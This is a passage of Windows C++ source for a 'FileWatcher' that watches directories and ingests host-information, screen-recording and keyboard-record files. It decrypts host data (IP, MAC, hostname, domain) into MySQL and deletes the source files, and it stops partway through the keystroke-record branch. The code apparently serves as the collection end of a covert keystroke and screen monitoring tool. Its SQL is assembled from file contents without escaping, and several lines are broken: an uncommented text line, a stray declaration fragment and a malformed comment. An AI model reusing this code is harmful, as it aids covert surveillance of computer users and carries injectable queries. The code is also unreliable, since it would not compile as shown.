threadmanage.h
#pragma once
#ifndef THREADMANAGE_H
#define THREADMANAGE_H
//#include "SAStatusLog.h"
#include "DealData.h"
#include "ErgodicFile.h"
#include <map>
#include <vector>
#include <queue>
#include <iostream>
#include <iterator>
using namespace std;
// using namespace System;
// using namespace System::Threading;
typedef multimap<CString, CString> G_MapTemp;
#define BUFFER_SIZE ((sizeof(FILE_NOTIFY_INFORMATION) + MAX_PATH) * 2)
//完成端口结束,释放资源的标志
//#define POSE_COMPLETEPORT_CLOSE_FLAG "CLOSE"
#define POSE_COMPLETEPORT_CLOSE_FLAG 2012
//允许监视的最大目录数
#define MAXHANDLE 12
//线程状态机
typedef enum _thread_statu
{
THREAD_STATU_REPARE = 1,//等待执行
THREAD_STATU_DOING,//正在执行
THREAD_STATU_SUCCESS,//执行成功
THREAD_STATU_FAIL,//执行失败
THREAD_STATU_USER_STOP//用户停止
}THREAD_STATU;
typedef enum _contrl_Ok
{
CONTRL_INSERT,//插入
CONTRL_DELETE,//删除
CONTRL_RETURN//返回
}CONTRL_OK;
//投递线程结构
typedef struct _thread_stru
{
volatile THREAD_STATU threadStatuu;
}TREAD_STRU;
//监听线程句柄传递结构体
typedef struct _listen_thread_stru_para
{
HANDLE FileHandle;//打开文件句柄
HANDLE CreateCompletePortHandle;//创建完成端口句柄
char* FilePath;//文件路径
}LISTEN_THREAD_STRU_PARA;
//用于监听文件的路径、更改的文件的信息
typedef struct __listen_thread_stru_info
{
PFILE_NOTIFY_INFORMATION FileNameInfo;//用于保存文件名字、类型等信息
CString FilePath;
}LISTEN_THRED_STRU_INFO;
//用于传递文件句柄、文件路径信息
typedef struct struct_handle_info
{
HANDLE CreateFileHandle;//用于保存创建的文件句柄
CString FilePath;//保存文件路径
int ExitFlag;//只有在析构退出的时候使用
}PSTRUCT_HANDLE_INFO,*LPSTRUCT_HANDLE_INFO;///
//接收到的数据,包括文件名和扩展名
typedef struct
{
CString fileName; //文件名,全路径
CString fileType; //扩展名,根据扩展名判定文件类型(主机信息文件、录屏文件、键盘记录文件)
}RECEIVED_FILE_DATA ,*pRECEIVED_FILE_DATA;
class CThreadManage
{
public:
CThreadManage(void);
~CThreadManage(void);
public:
//创建并投递扫描线程
HANDLE CreatePostErgodicFileThread(void);
//创建监视线程
void CreateListenContentThread(void);
//创建处理监听到得数据信息线程
void CreateInfoDealThread(void);
BOOL IsExistMonitorDir();
BOOL CreateMonitorDirHandle();
BOOL IniPostForMonitorDir();
bool isEmpty();
bool isExit();
friend unsigned __stdcall ExecuteErgodicFile(void* pArguments);
friend unsigned __stdcall ExecuteListenDirectory(void* pArguments);
friend unsigned __stdcall ExecuteDealDataProc(void* pArguments);
friend unsigned __stdcall FileResolveAndStorage(void* pArguments);
// static void DealDatFile(Object^ strPath);
// static void DealTmpFile(Object^ strPath);
(void* pArguments);
public:
//存放投递线程时分配的内存空间指针
vector<PSTRUCT_HANDLE_INFO*> m_pVec;
//vector<OVERLAPPED*> new_Overlapped;//存放投递线时申请的overlapped空间指针
//存放路径
queue<RECEIVED_FILE_DATA> m_filepath;
//存路径的事件变量
HANDLE hStorageEvent;
CRITICAL_SECTION StoreDataCriticalSection;
HANDLE CreateFileResolveAndStorageThread;
public:
//扫描文件线程句柄
HANDLE hErgodicFile;
//退出线程句柄
/*HANDLE m_ExitHandle;*/
监视目录句柄数组
//HANDLE m_ContentListen[MAXHANDLE];
//记录已经监视的文件目录,目前仅用这个容器保存监测目录
vector<CString> m_vecHadListen;
//
//vector<CString> m_VecEnd;
LISTEN_THREAD_STRU_PARA ListenThreadPara; //监视线程传递的参数结构体
//接收堵塞监视函数返回的值
char buf[BUFFER_SIZE]; //监听缓冲区
//FILE_NOTIFY_INFORMATION* pNotify;
//保存根据监测目录,创建的目录内核句柄
HANDLE hListen[MAXHANDLE];
//保存文件路径数组
//CString SaveFilePathArry[MAXHANDLE];
//存放监听到信息的容器
queue<LISTEN_THRED_STRU_INFO> QueueSaveListenInfo;
//处理数据线程临界区
CRITICAL_SECTION DealDataCriticalSection;
//监听线程临界区
CRITICAL_SECTION ListenDataCriticalSection;
//事件句柄EventHandle临界区,防止多个线程同时改变EventHandle造成访问冲突
CRITICAL_SECTION m_EventHandleCriticalSection;
//用来通知完成端口退出标志
PSTRUCT_HANDLE_INFO FileHandlePathPointer;
//事件句柄
HANDLE EventHandle;
int CreateThreadNumber;
//扫描文件夹对象
CErgodicFile ergodicFile;
//数据库数据处理类对象
DealData dealData;
//声明一个日志记录类
//CSAStatusLog g_statusLog;//CSAStatusLog
HANDLE CreateDealDataThread;
HANDLE CreateDealDataThreadEvent;
//CString logFile="filewatcher.log";
//CString fullLogfileName="";
//FILE* out;
};
#endif
/threadmanage.cpp
#include "StdAfx.h"
#include "ThreadManage.h"
#include "ErgodicFile.h"
#include "DisposeData.h"
#include <process.h>
#include <fstream>
#include "LogFile.h"
using namespace std;
void DealFileAction(void* pArguments);
CThreadManage::CThreadManage(void)
{
try
{
hErgodicFile = INVALID_HANDLE_VALUE;
//初始化处理监听数据线程临界区
InitializeCriticalSection(&DealDataCriticalSection);
InitializeCriticalSection(&StoreDataCriticalSection);
//初始化监听线程临界区
InitializeCriticalSection(&ListenDataCriticalSection);
//m_EventHandleCriticalSection
InitializeCriticalSection(&m_EventHandleCriticalSection);
//创建事件句柄
hStorageEvent = CreateEvent(NULL,true,false,NULL);
EventHandle = CreateEvent(NULL,true,false,NULL);
CreateDealDataThreadEvent = CreateEvent(NULL,true,false,NULL);
memset(buf,0,sizeof(buf));
//获取最大批次路径,保存在dealData.m_mapRunPath与dealData.m_mapMaxProjectId中
dealData.GetMaxBatch();
//获取run_path中已存在目录保存在dealData.m_mapRunPath中
//dealData.GetRunPathData();
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG(currentTimeStr+" "+"FileWatcher construct threadmanage failed!");
}
}
CThreadManage::~CThreadManage(void)
{
try
{
//释放扫描文件线程句柄
if (INVALID_HANDLE_VALUE != hErgodicFile)
{
CloseHandle(hErgodicFile);
hErgodicFile = INVALID_HANDLE_VALUE;
}
//置位线程结束标志
FileHandlePathPointer.ExitFlag = POSE_COMPLETEPORT_CLOSE_FLAG;
//向完成端口发送结束标志,有几个线程就发送几次
for (int i =0;i<this->CreateThreadNumber;++i )
{
PostQueuedCompletionStatus(this->ListenThreadPara.CreateCompletePortHandle,0,(DWORD)&FileHandlePathPointer,NULL);
}
//WaitForSingleObject(CreateDealDataThreadEvent, INFINITE);
//释放处理监听数据线程临界区
DeleteCriticalSection(&DealDataCriticalSection);
DeleteCriticalSection(&StoreDataCriticalSection);
//释放监听线程临界区
DeleteCriticalSection(&ListenDataCriticalSection);
DeleteCriticalSection(&m_EventHandleCriticalSection);
//释放线程运行中申请的内存资源,主要是用来存储OVERLAPPED的空间
vector<PSTRUCT_HANDLE_INFO*>::iterator iterPvEC = m_pVec.begin();
while (iterPvEC != m_pVec.end())
{
PSTRUCT_HANDLE_INFO *tEMP = *iterPvEC;
delete tEMP;
tEMP = NULL;
iterPvEC++;
}
CloseHandle(EventHandle);
CloseHandle(hStorageEvent);
m_pVec.clear();
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG(currentTimeStr+" "+"FileWatcher deconstruct threadmanage failed!");
}
}
unsigned __stdcall ExecuteErgodicFile(void* pArguments)
{
try
{
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//DWORD tmpThreadId = GetCurrentThreadId();
//CString tmpThreadIdStr;
//tmpThreadIdStr.Format("%d",tmpThreadId);
//WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+") ErgodicFile thread directory ...");
CThreadManage * tmpthis=(CThreadManage *)pArguments;
VecMaxPath *vecTemp = tmpthis->dealData.ReturnMaxBatchPath();
VecMaxPath::iterator iterVec = vecTemp->begin();
//遍历文查找ok.txt文件;若果存在,则存入公用缓存;
CString strTemp;
while (iterVec != vecTemp->end())
{
strTemp = *iterVec;
tmpthis->ergodicFile.GetFilePath(strTemp);
iterVec++;
}
//m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher Ergodic Directory success!");
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher Ergodic Directory failed!");
return -1;
}
// tmpthis->g_statusLog.StatusOut("end---ExecuteErgodicFile");
}
HANDLE CThreadManage::CreatePostErgodicFileThread(void)
{
try
{
DWORD dwData;
unsigned threadID;
if (!GetExitCodeThread(hErgodicFile, &dwData) || dwData == STILL_ACTIVE)
{
hErgodicFile = (HANDLE)_beginthreadex(NULL, 0, &ExecuteErgodicFile, this, 0, &threadID);
if (INVALID_HANDLE_VALUE == hErgodicFile)
{
return NULL;
}
}
//SYSTEMTIME currentTime;
//GetLocalTime(¤tTime);
//CString currentTimeStr;
//currentTimeStr.Format(_T("%4u%2u%2u %2u:%2u:%2u"),
// currentTime.wYear,
// currentTime.wMonth,
// currentTime.wDay,
// currentTime.wHour,
// currentTime.wMinute,
// currentTime.wSecond);
//WRITELOG(currentTimeStr+"FileWatcher create Ergodic thread success!");
return hErgodicFile;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create Ergodic thread failed!");
return NULL;
}
}
unsigned __stdcall ExecuteListenDirectory(void* pArguments)
{
try
{
/* CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG(currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher is monitoring directory ..."); */
//当前对象指针
CThreadManage* tmpthis = (CThreadManage*)pArguments;
//完成端口返回数据大小
DWORD SizeOfRecieveByte = 0;
//LPSTRUCT_HANDLE_INFO类型指针,用于对GetQueuedCompletionStatus
//中获取的数据进行类型转换,以得到文件夹变化信息和结束标志
LPSTRUCT_HANDLE_INFO HandleData;
//OVERLAPPED指针
LPOVERLAPPED lpstOverlapped = NULL;
//缓冲区指针,用于保存PFILE_NOTIFY_INFORMATION信息,并放入到队列中
char *lpszBuffer = NULL;
//是否成功获取完成端口状态
BOOL IsCompletionPortStatusOk=FALSE;
while(true)
{
//从完成端口获取数据信息
IsCompletionPortStatusOk = GetQueuedCompletionStatus(tmpthis->ListenThreadPara.CreateCompletePortHandle,
&SizeOfRecieveByte,(LPDWORD)&HandleData,&lpstOverlapped,INFINITE);
if (!IsCompletionPortStatusOk)
{
//return -1;
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
m_currentTime=CTime::GetCurrentTime();
currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
tmpThreadId = GetCurrentThreadId();
tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG("ERR:" + currentTimeStr + " " + "thread id:(" + tmpThreadIdStr + ")FileWatcher GetQueuedCompletionStatus failed!");
continue;
}
//是否结束,该结束标志由类析构函数中设置并发送
if (HandleData->ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
{
//EnterCriticalSection(&tmpthis->m_EventHandleCriticalSection);
SetEvent(tmpthis->EventHandle);//通知数据处理线程开始处理数据
//LeaveCriticalSection(&tmpthis->m_EventHandleCriticalSection);
break;
}
lpszBuffer = new char[SizeOfRecieveByte];
memcpy(lpszBuffer, tmpthis->buf, SizeOfRecieveByte);
//用于获取PFILE_NOTIFY_INFORMATION类型的文件变化信息
LISTEN_THRED_STRU_INFO LstenThreadInfo;
LstenThreadInfo.FileNameInfo = (PFILE_NOTIFY_INFORMATION)lpszBuffer;/包含更改文件信息的结构,windowNT定义
LstenThreadInfo.FilePath = HandleData->FilePath;
//将获取到的文件夹变化信息放入队列QueueSaveListenInfo
EnterCriticalSection(&tmpthis->ListenDataCriticalSection);
tmpthis->QueueSaveListenInfo.push(LstenThreadInfo);//进入临界区保护数据
LeaveCriticalSection(&tmpthis->ListenDataCriticalSection);
SetEvent(tmpthis->EventHandle);//通知数据处理线程开始处理数据
//监视线程函数里,投递新一轮监视函数
OVERLAPPED m_stOverLapped;
//new_Overlapped
DWORD dwBytesReturned;
memset(&m_stOverLapped, 0, sizeof(OVERLAPPED));
memset(tmpthis->buf,0,sizeof(tmpthis->buf));
if( ::ReadDirectoryChangesW(HandleData->CreateFileHandle,//文件句柄&//文件句柄可以绑在一个结构体上通过IOKeyWord传过来,
tmpthis->buf, //接收到那个就继续投递哪个文件句柄
sizeof(tmpthis->buf),
true,
FILE_NOTIFY_CHANGE_FILE_NAME,//监视类型
&dwBytesReturned,
&m_stOverLapped,
NULL ) == FALSE)
{
return -1;//投递失败返回1
}
}
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
DWORD tmpThreadId = GetCurrentThreadId();
CString tmpThreadIdStr;
tmpThreadIdStr.Format("%d",tmpThreadId);
WRITELOG("ERR:"+currentTimeStr+" "+"thread id:("+tmpThreadIdStr+")FileWatcher directory monitor failed!");
return -1;
}
}
void CThreadManage::CreateListenContentThread(void)
{
try
{
//创建完成端口
this->ListenThreadPara.CreateCompletePortHandle = CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,0,0);
//创建完成端口失败
if (NULL == this->ListenThreadPara.CreateCompletePortHandle)
{
return ;
}
//判断各监测目录是否存在
if(!IsExistMonitorDir())
{
return;
}
//创建监测目录句柄
if(!CreateMonitorDirHandle())
{
return;
}
//根据CPU数量,创建cup数量*2的线程
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);
//保存开启线程数量
this->CreateThreadNumber = (SystemInfo.dwNumberOfProcessors)*2+2;
HANDLE CreateThreadHandle;
//投递监听文件夹变化线程
unsigned threadID;
for(int i = 0;i<this->CreateThreadNumber;++i)
{
CreateThreadHandle = (HANDLE)_beginthreadex(NULL, 0, &ExecuteListenDirectory, this, 0, &threadID);
if (NULL!=CreateThreadHandle)
{
CloseHandle(CreateThreadHandle);
CreateThreadHandle = NULL;
}
}
//向完成端口投递请求
if(!IniPostForMonitorDir())
{
return;
}
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher create directory monitor thread success!");
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher create directory monitor thread failed!");
}
}
BOOL CThreadManage::IsExistMonitorDir()
{
//获得最大批次路径,存入mapTemp
VecMaxPath *mapTemp = dealData.ReturnMaxBatchPath();
VecMaxPath::iterator mapFirst = mapTemp->begin();
//系统默认最大监测12个目录超过这个数值应当提示用户并返回
if ((int)mapTemp->size() >= MAXHANDLE)
{
return false;
}
CString tmpMonitorDir;
//首先判断每个监测目录是否存在,并记录监测目录
for (int i=0; i!=(int)mapTemp->size(); i++)
{
tmpMonitorDir = *mapFirst;
HANDLE hListen = CreateFile(tmpMonitorDir,//检测文件路径
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必须要该模式//新添加了重叠IO模式
NULL);
if (INVALID_HANDLE_VALUE == hListen)
{
continue;
}
CloseHandle(hListen);
//记录到已监视缓存
m_vecHadListen.push_back(tmpMonitorDir);
mapFirst++;
}
return true;
}
BOOL CThreadManage::CreateMonitorDirHandle()
{
//通过迭代器循环创建监测文件句柄
vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
int FilePathVectorSize = (int)m_vecHadListen.size();
for (int i = 0; i != FilePathVectorSize; ++i)
{
PSTRUCT_HANDLE_INFO* FileHandlePathPointer;
//this->SaveFilePathArry[i] = *VecIteraor;
this->hListen[i] = CreateFile(*VecIteraor/*SaveFilePathArry[i]*/,//检测文件路径
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS|FILE_FLAG_OVERLAPPED,//必须要该模式//新添加了重叠IO模式
NULL);
if (INVALID_HANDLE_VALUE == hListen[i])
{
return false;
}
FileHandlePathPointer = new PSTRUCT_HANDLE_INFO;
m_pVec.push_back(FileHandlePathPointer);
if (NULL==FileHandlePathPointer)
{
return false;
}
FileHandlePathPointer->CreateFileHandle = this->hListen[i];
FileHandlePathPointer->FilePath = *VecIteraor;
//绑定完成端口
//等绑定的完成端口句柄
HANDLE BindCompletePort;
if ((BindCompletePort = CreateIoCompletionPort(hListen[i],this->ListenThreadPara.CreateCompletePortHandle,(DWORD)FileHandlePathPointer,0)) == NULL)
{
return false;
}
VecIteraor++;
}
return true;
}
BOOL CThreadManage::IniPostForMonitorDir()
{
vector<CString>::iterator VecIteraor = m_vecHadListen.begin();
int FilePathVectorSize = (int)m_vecHadListen.size();
for (int i = 0;i < FilePathVectorSize; ++i)
{
//投递IO请求
OVERLAPPED Overlapped;
DWORD dwByteRet = 0;
//清空OVERLAPPED结构
memset(&Overlapped, 0, sizeof(OVERLAPPED));
memset(this->buf,0,BUFFER_SIZE);
if (this->hListen[i] != NULL)
{
if (!ReadDirectoryChangesW(
this->hListen[i],
this->buf,
BUFFER_SIZE,//缓冲数组的大小
TRUE,
FILE_NOTIFY_CHANGE_FILE_NAME,
&dwByteRet,
(LPWSAOVERLAPPED)&Overlapped,
NULL
))
{
return false;//投递失败
}
}
}
return true;
}
typedef struct DealDataSTR
{
CString strPara;
CString ProjectPath;
void *pArguments;
}DEAL_DATA_STRUCT,*LPDEAL_DATA_STRUCT;
unsigned __stdcall ExecuteDealDataProc(void* pArguments)
{
try
{
//当前对象指针,pArguments接受的是当前对象指针
CThreadManage* tmpthis = (CThreadManage*)pArguments;
while(TRUE)
{
WaitForSingleObject(tmpthis->EventHandle,INFINITE);
if(tmpthis->isEmpty()&&tmpthis->isExit())
{
//CreateDealDataThreadEvent
//SetEvent(tmpthis->CreateDealDataThreadEvent);
//CTime m_currentTime=CTime::GetCurrentTime();
//CString currentTimeStr;
//currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
// m_currentTime.GetYear(),
// m_currentTime.GetMonth(),
// m_currentTime.GetDay(),
// m_currentTime.GetHour(),
// m_currentTime.GetMinute(),
// m_currentTime.GetSecond());
//WRITELOG(currentTimeStr+" "+"FileWatcher deal data thread end!");
break;
}
//从队列中取数据
EnterCriticalSection(&tmpthis->DealDataCriticalSection);
LISTEN_THRED_STRU_INFO DatastructPara = tmpthis->QueueSaveListenInfo.front();
tmpthis->QueueSaveListenInfo.pop();
LeaveCriticalSection(&tmpthis->DealDataCriticalSection);
//用于保存文件名,str1原文件名,str2新文件名
char tmp[MAX_PATH+256], str1[MAX_PATH+256], str2[MAX_PATH+256];
memset(tmp, 0, sizeof(tmp));
WideCharToMultiByte(CP_ACP, 0, DatastructPara.FileNameInfo->FileName,DatastructPara.FileNameInfo->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
strcpy_s(str1, strlen(tmp) + 1, tmp);
//判断是否存在同时产生的变化,指文件夹中发生了重命名操作
if(DatastructPara.FileNameInfo->NextEntryOffset !=0)
{
PFILE_NOTIFY_INFORMATION p = (PFILE_NOTIFY_INFORMATION)((char*)DatastructPara.FileNameInfo+DatastructPara.FileNameInfo->NextEntryOffset);
memset(tmp, 0, sizeof(tmp));
WideCharToMultiByte( CP_ACP, 0, p->FileName, p->FileNameLength/2, tmp, MAX_PATH+256, NULL, NULL);
strcpy_s(str2, strlen(tmp) + 1, tmp);
}
//将数据插入缓存
CString strSQL;
UINT iProjectId = 0;
CString strData;//文件路径
CString strNow;//用于判断文件是否是OK.TXT文件
bool bSign = false;
CString filePath;
int start = -1;
CString fileType("");
LPDEAL_DATA_STRUCT tmpDealData=new DEAL_DATA_STRUCT;//保存处理数据结构
RECEIVED_FILE_DATA tmpFileData;
switch(DatastructPara.FileNameInfo->Action)
{
case FILE_ACTION_RENAMED_OLD_NAME:
case FILE_ACTION_RENAMED_NEW_NAME:
tmpDealData->ProjectPath=DatastructPara.FilePath;
tmpDealData->strPara=str2;
tmpDealData->pArguments=tmpthis;
fileType = str2;
while((start = fileType.Find('.')) != -1)
{
fileType = fileType.Right(fileType.GetLength() - start -1);//取出扩展名
}
filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
tmpFileData.fileName = filePath;
tmpFileData.fileType = fileType;
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
tmpthis->m_filepath.push(tmpFileData);
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
SetEvent(tmpthis->hStorageEvent);
//QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
//DealFileAction(tmpDealData);
break;
case FILE_ACTION_ADDED://创建新文件
tmpDealData->ProjectPath=DatastructPara.FilePath;
tmpDealData->strPara=str1;
tmpDealData->pArguments=tmpthis;
fileType = str1;
while((start = fileType.Find('.')) != -1)
{
fileType = fileType.Right(fileType.GetLength() - start -1);//取出扩展名
}
filePath = tmpDealData->ProjectPath + "\\" + tmpDealData->strPara ;
tmpFileData.fileName = filePath;
tmpFileData.fileType = fileType;
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
tmpthis->m_filepath.push(tmpFileData);
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
SetEvent(tmpthis->hStorageEvent);
//QueueUserWorkItem(DealFileAction, tmpDealData, WT_EXECUTEDEFAULT);
//DealFileAction(tmpDealData);
break;
default:
delete tmpDealData;
break;
}
if(!tmpthis->isExit()&&!tmpthis->isEmpty())
{
//cout<<tmpthis->QueueSaveListenInfo.size()<<endl;
SetEvent(tmpthis->EventHandle);
}
else
{
ResetEvent(tmpthis->EventHandle);
}
delete DatastructPara.FileNameInfo;
}
return 0;
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher dealing data failed!");
return -1;
}
}
//DWORD WINAPI DealFileAction(LPVOID pArguments)
void DealFileAction(void* pArguments)
{
try
{
//cout<<"DealFileAction"<<endl;
LPDEAL_DATA_STRUCT dealdatatmpptr=(LPDEAL_DATA_STRUCT)pArguments;
//当前对象指针,pArguments接受的是当前对象指针
CThreadManage* tmpthis = (CThreadManage*)dealdatatmpptr->pArguments;
CString strData=dealdatatmpptr->ProjectPath;
CString strNow=dealdatatmpptr->strPara;
bool bSign = false;
strNow.MakeUpper();
//cout<<strNow<<endl;
if (strNow.Find(TEXT("\\")) != -1)
{
strNow.MakeReverse();
strNow = strNow.Mid(0,strNow.Find(TEXT("\\")));
strNow.MakeReverse();
//判断文件是否是ok.txt文件
if (strcmp(strNow, TEXT("OK.TXT")) == 0)
{
strData += TEXT("\\");
strData += dealdatatmpptr->strPara;
strData.MakeReverse();
strData = strData.Mid(strData.Find(TEXT("\\")) + 1);
strData.MakeReverse();
bSign = true;
}
}
else
{
//判断文件是否是ok.txt文件
if (strcmp(strNow, TEXT("OK.TXT")) == 0)
{
bSign = true;
}
}
if (bSign)
{
if(!tmpthis->dealData.IsExistInRunPath(dealdatatmpptr->ProjectPath,strData))
{
//tmpthis->dealData.ControlDataInsertOrRead(dealdatatmpptr->ProjectPath, strData);
bSign = false;
}
}
}
catch (...)
{
CTime m_currentTime=CTime::GetCurrentTime();
CString currentTimeStr;
currentTimeStr.Format(_T("%04d%02d%02d %02d:%02d:%02d"),
m_currentTime.GetYear(),
m_currentTime.GetMonth(),
m_currentTime.GetDay(),
m_currentTime.GetHour(),
m_currentTime.GetMinute(),
m_currentTime.GetSecond());
WRITELOG("ERR:"+currentTimeStr+" "+"FileWatcher ok.txt path inser into mysql failed!");
}
//dealdatatmpptr->pArguments=NULL;
//delete dealdatatmpptr;
//delete pArguments;
//delete dealdatatmpptr;
//return 0;
}
void CThreadManage::CreateInfoDealThread(void)
{
unsigned threadID;
unsigned storagteThreadID;
CreateDealDataThread = (HANDLE)_beginthreadex(NULL, 0, &ExecuteDealDataProc, this, 0, &threadID);
// if (NULL != CreateDealDataThread)
// {
// CloseHandle(CreateDealDataThread);
// CreateDealDataThread = NULL;
// }
CreateFileResolveAndStorageThread = (HANDLE)_beginthreadex(NULL, 0, &FileResolveAndStorage, this, 0, &storagteThreadID);
}
bool CThreadManage::isExit()
{
//是否结束
bool result=false;
if (FileHandlePathPointer.ExitFlag == POSE_COMPLETEPORT_CLOSE_FLAG)
{
result = true;
}
return result;
}
bool CThreadManage::isEmpty()
{
bool result=false;
EnterCriticalSection(&this->DealDataCriticalSection);
if(QueueSaveListenInfo.empty())
{
result = true;
}
//cout<<QueueSaveListenInfo.size()<<endl;
LeaveCriticalSection(&this->DealDataCriticalSection);
return result;
}
unsigned __stdcall FileResolveAndStorage(void* pArguments)
{
CThreadManage* tmpthis = (CThreadManage*)pArguments;
while(1)
{
WaitForSingleObject(tmpthis->hStorageEvent,INFINITE);
if(!tmpthis->m_filepath.empty())
{
EnterCriticalSection(&tmpthis->StoreDataCriticalSection);
RECEIVED_FILE_DATA tmpFileData = tmpthis->m_filepath.front();
tmpthis->m_filepath.pop();
LeaveCriticalSection(&tmpthis->StoreDataCriticalSection);
Sleep(10);
CFile file;
//PC Information
if(tmpFileData.fileType == "dat")
{
CString strIp("");
CString strMac("");
CString strHostName("");
CString strDomain("");
if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
{
AfxMessageBox(tmpFileData.fileName);
//从文件中读取文件内容
char *buf=new char[file.GetLength()];
memset(buf,0,file.GetLength());
file.Read(buf,file.GetLength());
//解密文件内容
DisposeData dis;
dis.SetValue(buf);
CString str;
str = dis.ProcessDecode();
file.Close();
dis.GetPCInfo(str,strIp,strMac,strHostName,strDomain);
CString strSql("");
strSql.Format("insert into pcinformations(ip,mac,hostName,domain)\
values('%s','%s','%s','%s')",strIp,strMac,strHostName,strDomain);
//上传数据库
tmpthis->dealData.ControlDataInsertOrRead(strSql);
remove(tmpFileData.fileName);
}
else
{
MessageBox(0,tmpFileData.fileName,"dat",0);
}
}
//kRecord content
else if(tmpFileData.fileType == "tmp")
{
CString fileName("");
CString strMac("");
CString strTime("");
CString strAppName("");
CString strRecordInfo("");
if(file.Open(tmpFileData.fileName,CFile::modeRead|CFile::typeBinary))
{
DisposeData dis;
fileName = tmpFileData.fileName;
int start = -1;
